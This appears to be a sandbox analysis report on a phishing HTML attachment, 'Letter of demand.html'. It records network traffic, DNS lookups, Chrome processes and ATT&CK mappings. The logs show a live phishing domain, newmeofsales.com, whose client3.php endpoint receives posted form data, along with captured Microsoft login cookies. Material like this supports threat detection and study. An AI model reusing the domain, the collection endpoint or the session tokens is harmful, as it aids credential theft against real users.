esctx-24Fe4O2lTOY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEAsG5J4M6nLguGYmo5nwcYDcWdSBHgHne41oqLQQYskEzzfvbHLIsr1R5aknrBLdC-pG2o2AReMafJ6p2lGpHu0aaYdrpj7ZmPcSTJPIhrChzLUYinURrx4c0K0HBSE4mdDmQhHT2bQqJLHBJ3mP8XyAA; MicrosoftApplicationsTelemetryDeviceId=0247eafa-806e-4836-bce9-892906f47bff; brcap=0; buid=1.AQMAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAADAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEErHw7Nticw-YBYNsBCG7x5PkSouHZ2uifSRMmWp1_lnTLN4qTKniThpz0zBnuIjMjKe7kciGIaa099t0rwnDRecHUGks_6rQxA68CJnEr9sgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQE-TCsPO1aPQCa_IxwpAlGUuwicIuUuI98J8XwMsM8qxdOeK3nGj7eJQ7PLZfz1NvfK7Vv7XKpkLqb6nevhstqDwDsDgP1kLP9QOSAKDDB0qY0mC2pECTv2pW6NQig7B5kPBbTj7a3UmtyysqjXMYUhInapKa2ff6hagCWQf9duZggAA; esctx-2HIk5Zxz95g=AQABCQEAAABVrSpeuWamRam2jAF1XRQEwFPglv7ae1BX3Q3DsXKp7QtnzYoTXBf6VcxkB3eCnjr8zwQDAOsxJBkD7iUvgvQmFmMhiAU2WK_FEQoH44HZ0vRWijUvCxITBnAmBBNgWhHWyHBjVBPTPfBTKR652q8HbL7Ro-AoXKBjtx39ihJCSSAA; fpc=AnxeKz3mi6BEio4rlACbXLa8Ae7AAgAAANSyfd8OAAAA; ai_session=GIOtxwCuSwbP4QDU7AaLlA\|1743502344401\|1743502344401
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: newmeofsales.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://newmeofsales.com/others.htmAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /register.jpg HTTP/1.1Host: newmeofsales.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /common/GetCredentialType?mkt=en-US HTTP/1.1Host: login.microsoftonline.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: esctx-gwvHdQuXFU=AQABCQEAAABVrSpeuWamRam2jAF1XRQEdyqEh8wrZ8Ex1AYZY4REGJWogfQa5qbsjm-XHt0euMDySNJ2AdVvkZFj474Pxalmo35lcW8bijhnOIfLSMJhW9JCcRzEIbF-B3QHz0vwScMyT_xbqvwBBZRLs8D56rOL_xkV8cxuvyyh8EUBzBiqCiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; esctx-24Fe4O2lTOY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEAsG5J4M6nLguGYmo5nwcYDcWdSBHgHne41oqLQQYskEzzfvbHLIsr1R5aknrBLdC-pG2o2AReMafJ6p2lGpHu0aaYdrpj7ZmPcSTJPIhrChzLUYinURrx4c0K0HBSE4mdDmQhHT2bQqJLHBJ3mP8XyAA; MicrosoftApplicationsTelemetryDeviceId=0247eafa-806e-4836-bce9-892906f47bff; brcap=0; esctx-2HIk5Zxz95g=AQABCQEAAABVrSpeuWamRam2jAF1XRQEwFPglv7ae1BX3Q3DsXKp7QtnzYoTXBf6VcxkB3eCnjr8zwQDAOsxJBkD7iUvgvQmFmMhiAU2WK_FEQoH44HZ0vRWijUvCxITBnAmBBNgWhHWyHBjVBPTPfBTKR652q8HbL7Ro-AoXKBjtx39ihJCSSAA; ai_session=GIOtxwCuSwbP4QDU7AaLlA\|1743502344401\|1743502344401; buid=1.AQMAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAADAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQE0IHLa_pUyaI-EVWK-LnrMdoj3DV0CCYuBPDZhhYWx6mM5ZJLNEiyqqqpxyyuqtpsZpUu5bJilmGQxgDiBZCWSAJLNkprT_pb6nE3HJmM5PwgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEG-ISshPYGaTS77fXxLPk_yfUQcD21VuF-8SQorUWnyQh9RvFcykRH3csvDDBBr2mekVEZi3qTFRaMc5U5-zd1hh-vtLbQSPeKTgVhzBTruDMxvpiaIVHKBZ_EK_gC1369vEsF8mJLFpw5qanP1K3IGKgk4XRP1U-WHMLYRoQW5MgAA; esctx-KqCKb9oTQI=AQABCQEAAABVrSpeuWamRam2jAF1XRQEGxdIvAmtQxu6yeKrzH9Lzm0dq7Dkzj_wLc-H5hvhYZnSisYpvrZyQL21mFUh0Yn64MUGn86YdadDUaOyksvJZNpvJI4BQAlQvZv2XrPjgvAINbyZsJBO1E2ibMhW7urV2VwQAyqSuVBCodbBvXy4ASAA; fpc=AnxeKz3mi6BEio4rlACbXLa8Ae7AAwAAANSyfd8OAAAA

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: res2.showcaseworkshop.com
Source: global traffic	DNS traffic detected: DNS query: newmeofsales.com
Source: global traffic	DNS traffic detected: DNS query: www.office.com
Source: global traffic	DNS traffic detected: DNS query: login.microsoftonline.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: identity.nel.measure.office.net

Source: unknown

HTTP traffic detected: POST /client3.php HTTP/1.1Host: newmeofsales.comConnection: keep-aliveContent-Length: 71Cache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Origin: nullContent-Type: application/x-www-form-urlencodedUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Tue, 01 Apr 2025 10:11:30 GMTstrict-transport-security: max-age=31536000; includeSubDomains; preloadx-frame-options: SAMEORIGINx-content-type-options: nosniffalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: privateSet-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponlyStrict-Transport-Security: max-age=31536000; includeSubDomainsX-Content-Type-Options: nosniffP3P: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 2800a774-0276-4516-8e2d-c4be456c1400x-ms-ests-server: 2.1.20465.4 - SCUS ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+chi"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.PReferrer-Policy: strict-origin-when-cross-originContent-Security-Policy-Report-Only: object-src 'none'; base-uri 'self'; script-src 'self' 'nonce-piVlkxYK-qSe-YOa1u1lYQ' 'unsafe-inline' 'unsafe-eval' https://.msauth.net https://.msftauth.net https://.msftauthimages.net https://.msauthimages.net https://.msidentity.com https://.microsoftonline-p.com https://.microsoftazuread-sso.com https://.azureedge.net https://.outlook.com https://.office.com https://.office365.com https://.microsoft.com https://*.bing.com 'report-sample'; report-uri https://csp.microsoft.com/report/ESTS-UX-AllX-XSS-Protection: 0Date: Tue, 01 Apr 2025 10:11:31 GMTConnection: closeContent-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Tue, 01 Apr 2025 10:12:49 GMTstrict-transport-security: max-age=31536000; includeSubDomains; preloadx-frame-options: SAMEORIGINx-content-type-options: nosniffalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"

Source: chromecache_182.2.dr	String found in binary or memory: http://feross.org
Source: chromecache_178.2.dr, chromecache_197.2.dr	String found in binary or memory: http://knockoutjs.com/
Source: chromecache_178.2.dr, chromecache_197.2.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php)
Source: chromecache_182.2.dr, chromecache_178.2.dr, chromecache_197.2.dr, chromecache_195.2.dr	String found in binary or memory: https://github.com/douglascrockford/JSON-js
Source: chromecache_177.2.dr, Letter of demand.html.crdownload.1.dr	String found in binary or memory: https://newmeofsales.com/client3.php
Source: chromecache_189.2.dr	String found in binary or memory: https://newmeofsales.com/register.jpg
Source: chromecache_189.2.dr	String found in binary or memory: https://www.office.com/?auth=2&home=1

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746

Source: unknown	HTTPS traffic detected: 142.251.40.132:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.168.73.74:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.168.73.74:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.106.55.197:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.106.55.197:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.6.156:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.135.4:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.6.156:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.31:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.31:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.55.243.74:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.4:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.106.55.197:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.41.4:443 -> 192.168.2.4:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.157.0:443 -> 192.168.2.4:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.157.0:443 -> 192.168.2.4:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.31:443 -> 192.168.2.4:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.106.55.197:443 -> 192.168.2.4:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.106.55.197:443 -> 192.168.2.4:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.6.156:443 -> 192.168.2.4:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.6.156:443 -> 192.168.2.4:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.106.55.197:443 -> 192.168.2.4:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.152.22:443 -> 192.168.2.4:49816 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\scoped_dir2148_1274676665			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\scoped_dir5056_2018166899			Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir2148_1274676665

Jump to behavior

Source: classification engine

Classification label: mal60.phis.win@49/44@34/12

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\Downloads\3af9bafa-ed54-4047-bd77-4028b135e9a0.tmp

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2284,i,12829158491185779263,15304005470192599735,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2316 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://res2.showcaseworkshop.com/UC48PXNB6W73ISX1PK71FS0DPANMIH4LQ45SLW8M/r/5HNAJDHGY5IZWPP9MCCDAS/5877514.html?response-content-disposition=attachment%3Bfilename%3D%22Letter%2520of%2520demand.html%22&e=1746316800&s2=838245666bc16fd83e0d8def624300a64e3df0609db970c9443011fc72e137c831b27b9c938762f1ef0ea039a2ee0be8e6ac0583670dddb9609dfa7abd5a509c"
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2072,i,16346291542299837465,6927087960113357566,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250331-201422.437000 --mojo-platform-channel-handle=2112 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Downloads\Letter of demand.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2284,i,12829158491185779263,15304005470192599735,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2316 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2072,i,16346291542299837465,6927087960113357566,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250331-201422.437000 --mojo-platform-channel-handle=2112 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	11 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

